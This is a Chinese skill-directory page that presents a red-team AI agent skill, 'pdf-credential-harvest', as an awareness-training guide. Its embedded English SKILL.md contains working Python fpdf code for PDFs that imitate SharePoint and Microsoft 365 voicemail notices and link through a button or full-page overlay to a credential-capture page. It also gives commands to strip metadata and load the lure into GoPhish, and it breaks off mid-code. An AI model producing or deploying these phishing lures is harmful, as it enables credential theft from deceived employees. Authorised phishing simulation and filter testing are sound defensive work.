pdf-credential-harvest
它能做什么
本指南介绍以商业文件为伪装的 PDF 诱饵,这些文件会链接到假登录页面。适用于编写安全意识培训和邮件过滤规则的团队。
适用场景
- ✓当安全团队想找一个伪造共享文档通知的培训案例时。
- ✓当邮件团队想检查带链接的 PDF 是如何被审核的时。
- ✓当经授权的意识测试使用文档诱饵时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“能否帮我做一个伪造共享文档 PDF 的培训案例,让员工学会识别其中的警示信号?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会说明此类诱饵的常见特征,例如伪造的共享通知和指向登录页面的链接,并建议培训要点和邮件检查措施。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
PDF Credential Harvest
A weaponised PDF requires no exploit and no macro — it is a pixel-perfect document themed as a SharePoint sharing notification, Microsoft 365 voicemail, or similar business pretext. The PDF contains an embedded link (button or full-page overlay) pointing at a credential-capture landing page. Because the PDF itself is benign (no JavaScript, no embedded files), it passes most sandbox detonation.
Prerequisites
- Python
fpdf2orreportlabin the sandbox. - GoPhish campaign infrastructure configured (
gophish-campaign). - A credential-harvest landing page on a
lookalike-domain. - Microsoft-branded assets (logo SVG/PNG) for template fidelity.
- The
lure-deconflictionhandshake COMPLETE.
Quick Reference
# Generate a SharePoint-themed PDF with harvest link
python3 /workspace/gen_pdf_lure.py \
--template sharepoint \
--url "https://login.<LURE_DOMAIN>/auth?id={{.RId}}" \
--output /workspace/SharedDocument.pdf
# Strip metadata
exiftool -all= /workspace/SharedDocument.pdf
# Upload to GoPhish as email attachment
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
-H 'Content-Type: application/json' \
"$GOPHISH_API/templates/" -d @/workspace/template_with_pdf.json
MITRE ATT&CK Mapping
| Technique | ID | Usage |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | PDF delivered as email attachment |
| User Execution: Malicious File | T1204.002 | Victim opens PDF and clicks embedded link |
| Phishing for Information: Spearphishing Link | T1598.003 | Link leads to credential-capture portal |
1. SharePoint-Themed PDF
Mimics the "Someone shared a document with you" SharePoint notification:
from fpdf import FPDF
class SharePointPDF(FPDF):
def header(self):
self.set_fill_color(0, 120, 212) # Microsoft blue
self.rect(0, 0, 210, 45, 'F')
self.set_font("Helvetica", "B", 18)
self.set_text_color(255, 255, 255)
self.set_y(12)
self.cell(0, 10, "SharePoint", align="C")
HARVEST = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"
pdf = SharePointPDF()
pdf.add_page()
pdf.set_y(55)
pdf.set_text_color(0, 0, 0)
pdf.set_font("Helvetica", "B", 14)
pdf.cell(0, 10, "<SENDER_NAME> shared a file with you", ln=True, align="C")
pdf.ln(5)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
"You have received a secure document via SharePoint Online. "
"Click the button below to view the document. You may be asked "
"to verify your identity.")
pdf.ln(10)
# Clickable button
pdf.set_fill_color(0, 120, 212)
pdf.set_text_color(255, 255, 255)
pdf.set_font("Helvetica", "B", 13)
bw, bh = 70, 12
bx = (210 - bw) / 2
pdf.set_xy(bx, pdf.get_y())
pdf.cell(bw, bh, "Open Document", align="C", fill=True, link=HARVEST)
pdf.ln(20)
pdf.set_text_color(120, 120, 120)
pdf.set_font("Helvetica", "I", 8)
pdf.cell(0, 5, "Microsoft Corporation - One Microsoft Way, Redmond, WA", align="C")
pdf.output("/workspace/SharedDocument.pdf")
2. M365 Voicemail-Themed PDF
Mimics a Microsoft 365 voicemail notification — high urgency, short content, single "Play Voicemail" button:
from fpdf import FPDF
HARVEST = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"
pdf = FPDF()
pdf.add_page()
pdf.set_fill_color(243, 242, 241)
pdf.rect(0, 0, 210, 297, 'F')
pdf.set_y(40)
pdf.set_font("Helvetica", "B", 16)
pdf.set_text_color(50, 50, 50)
pdf.cell(0, 10, "You have a new voicemail", ln=True, align="C")
pdf.ln(4)
pdf.set_font("Helvetica", "", 11)
pdf.set_text_color(80, 80, 80)
pdf.cell(0, 7, "From: <CALLER_NUMBER>", ln=True, align="C")
pdf.cell(0, 7, "Duration: 0:47", ln=True, align="C")
pdf.cell(0, 7, "Received: <DATE_TIME>", ln=True, align="C")
pdf.ln(12)
pdf.set_fill_color(0, 120, 212)
pdf.set_text_color(255, 255, 255)
pdf.set_font("Helvetica", "B", 13)
bw, bh = 60, 12
pdf.set_x((210 - bw) / 2)
pdf.cell(bw, bh, "Play Voicemail", align="C", fill=True, link=HARVEST)
pdf.output("/workspace/Voicemail.pdf")
3. Full-Page Click Overlay
Make the entire PDF page a single clickable link so any click anywhere opens the harvest URL — no button needed, just a page-sized annotation:
from fpdf import FPDF
HARVEST = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"
pdf = FPDF()
pdf.add_page()
# Render the visual content (logo, text, etc.)
pdf.set_font("Helvetica", "", 12)
pdf.cell(0, 10, "Loading secure document...", align="C")
# Full-page link annotation
pdf.link(0, 0, 210, 297, HARVEST)
pdf.outp
常见问题
为什么这些诱饵会奏效?
指南指出,它们看起来像正常的商业文件,而且不含漏洞利用代码,因此基本检查可能会漏掉。
员工应该留意哪些警示信号?
意料之外的共享通知、与公司域名不符的链接,以及要求重新登录的请求。
这只能用于经授权的测试吗?
是的。指南要求任何测试使用前都必须有书面批准,并记录给防御方的通知。
详情
作者的原始描述
Weaponized PDF attachments that redirect victims to fake authentication portals (SharePoint, M365, Google Workspace) — no exploit, no macro, just a convincing document with embedded links to a credential-capture page.
热度
- GitHub 星标
- 6.5k
- 排名
- #14122
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …